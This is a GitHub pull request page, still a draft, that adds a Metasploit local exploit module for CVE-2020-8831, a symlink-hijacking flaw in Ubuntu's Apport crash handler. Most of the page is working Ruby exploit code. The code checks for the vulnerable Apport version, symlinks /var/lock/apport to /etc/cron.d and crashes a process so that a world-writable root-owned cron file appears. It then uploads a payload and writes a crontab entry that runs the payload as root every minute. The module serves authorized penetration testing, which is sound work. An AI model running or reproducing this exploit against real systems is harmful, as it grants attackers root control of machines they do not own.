-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add Apport Symlink Hijacking: CVE-2020-8831 #20037
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Draft
gardnerapp
wants to merge
21
commits into
rapid7:master
Choose a base branch
from
gardnerapp:cve-2020-8831
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+169
−0
Draft
Changes from all commits
Commits
Show all changes
21 commits
Select commit
Hold shift + click to select a range
edc187a
Init
gardnerapp 6854dc0
Correct CVE numbering
gardnerapp f8f0ac5
finish prototyping the check method
gardnerapp 9ffec60
Begin exploit
gardnerapp 6112b1e
Add targets and write exploit files
gardnerapp a1dfc8a
Add opts, update description, break up exploit method
gardnerapp 4838131
Finish check method
gardnerapp 417c1bb
Add statuses to hijack apport method
gardnerapp 18a94bb
Add instance vars, cleanup file writes
gardnerapp 8cef31f
Add Payload::EXE module, fix var names
gardnerapp 68de77e
Add /etc/ to cron dir
gardnerapp 689bfdb
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 6055625
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 68683c3
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 3868607
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 1bd3a4a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 6d52e90
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp ec93425
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp 2417f58
Add advanced options
gardnerapp 631bdf6
Resolve conflicts
gardnerapp 31bfb04
Check existence of /var/lock/apport
gardnerapp File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
169 changes: 169 additions & 0 deletions
169
modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = NormalRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Post::Linux::System | ||
include Msf::Post::Linux::Kernel | ||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
|
||
def initialize(info = {}) | ||
# other places besides crontab | ||
# /etc/init.d | ||
# ~/.bashrc | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Apport Symlink Hijacking Privilege Escalation ', | ||
'Description' => %q{ | ||
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable | ||
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, | ||
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be | ||
able to create files with global 0777 permissions. This module exploits this weakness by creating a | ||
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with | ||
elevated permissions. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Maximilien Bourgeteau', # Discovery | ||
'gardnerapp' # Metasploit | ||
], | ||
'References' => [ | ||
[ | ||
['URL', 'https://nostarch.com/zero-day'], # pg. 59 | ||
['URL', 'https://ubuntu.com/security/CVE-2020-8831'], | ||
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], | ||
['CVE', '2020-8831'], | ||
] | ||
], | ||
'Platform' => ['linux'], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'Targets' => [ | ||
[ | ||
'Linux_Binary', | ||
{ | ||
'Arch' => [ARCH_AARCH64, ARCH_X64] | ||
} | ||
], | ||
[ | ||
'Linux_Command', | ||
{ | ||
'Arch' => ARCH_CMD | ||
} | ||
] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => '2 April 2020', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options [ | ||
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), | ||
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) | ||
] | ||
register_advanced_options [ | ||
OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) | ||
] | ||
end | ||
|
||
def check | ||
# If you are testing the module apport needs to be reinstalled on boot every time with | ||
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb | ||
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test! | ||
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' | ||
|
||
# Check apport version | ||
if !command_exists?('apport-cli') | ||
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') | ||
end | ||
|
||
apport = cmd_exec('apport-cli --version').to_s | ||
|
||
return CheckCode::Detected('Unable to determine apport version') if apport.blank? | ||
|
||
# todo determine if prior versions of apport are vulnerable | ||
apport_version = Rex::Version.new(apport.split('-').first) | ||
|
||
vulnerable_version = Rex::Version.new('2.20.11') | ||
|
||
if apport_version == vulnerable_version | ||
vprint_good("Apport appears to be vulnerable.") | ||
return CheckCode::Appears | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
# Crash Apport and hijack a symlink | ||
# this will creat a rwx /etc/cron.d/lock owned by root | ||
def hijack_apport | ||
|
||
print_status("Creating symlink...") | ||
|
||
if exists? '/var/lock/apport' | ||
fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') | ||
end | ||
|
||
link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') | ||
print_status(link) | ||
|
||
# Create crash and trigger apport | ||
print_status("Triggering crash...") | ||
cmd_exec 'sleep 10s & kill -11 $!' | ||
|
||
@cron = '/etc/cron.d/lock' | ||
|
||
# Make sure it's writable and owned by root | ||
unless exist?(@cron) | ||
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') | ||
else | ||
print_good("Successfully created /etc/cron.d/lock") | ||
end | ||
end | ||
|
||
def write_payload | ||
print_status 'Uploading payload..' | ||
|
||
payload_dir = datastore['WRITABLE_DIR'] | ||
|
||
payload_dir += '/' unless payload_dir.ends_with? '/' | ||
|
||
payload_file = datastore['PAYLOAD_FILENAME'] | ||
|
||
@payload_dest = "#{payload_dir}#{payload_file}" | ||
|
||
# create the payload | ||
if target.arch.first == ARCH_CMD | ||
upload_and_chmodx @payload_dest, payload.encoded | ||
else | ||
upload_and_chmodx @payload_dest, generate_payload_exe | ||
end | ||
end | ||
|
||
def write_cron | ||
cron_interval = datastore['CRON_INTERVAL'] | ||
data = "#{cron_interval} root #{@payload_dest}\n" | ||
write_file(@cron, data) | ||
# crontab won't execute as root if group/other is writable | ||
print_good "Successfully wrote crontab!" | ||
end | ||
|
||
def exploit | ||
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) | ||
hijack_apport | ||
|
||
write_payload | ||
|
||
write_cron | ||
end | ||
end |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.